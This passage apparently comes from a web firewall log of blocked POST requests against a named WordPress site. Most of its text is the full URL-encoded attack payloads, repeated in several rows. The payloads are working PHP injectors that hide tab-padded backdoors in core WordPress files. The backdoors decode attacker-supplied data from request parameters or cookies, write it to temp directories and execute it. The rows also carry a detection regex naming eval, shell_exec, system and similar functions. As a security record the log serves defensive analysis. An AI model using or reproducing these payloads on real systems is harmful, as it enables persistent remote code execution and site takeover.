24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:46:20","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:3782\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:46:51","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3759\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nkV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522f%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524data%2520%253D%2520%2527%2527%2520%253B%2520%2524z%2520%253D%25200%253B%2520while%2528%2524z%2520%253C%2520strlen%2528%2524bind%2529%2529%257B%2524data%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524z%255D%2529%2520%255E%252071%2529%253B%2524z%252B%252B%253B%257D%2520%2524res%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524res%2520as%2520%2524value%2529%253A%2520if%2520%2528%2528is_dir%2528%2524value%2529%2520and%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.ref%2522%253B%2520if%2520%2528file_put_contents%2528%2524parameter_group%252C%2520%2524data%2529%2529%2520%257B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:47:07","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ms:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3251\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nms=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:47:17","103.145.5.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 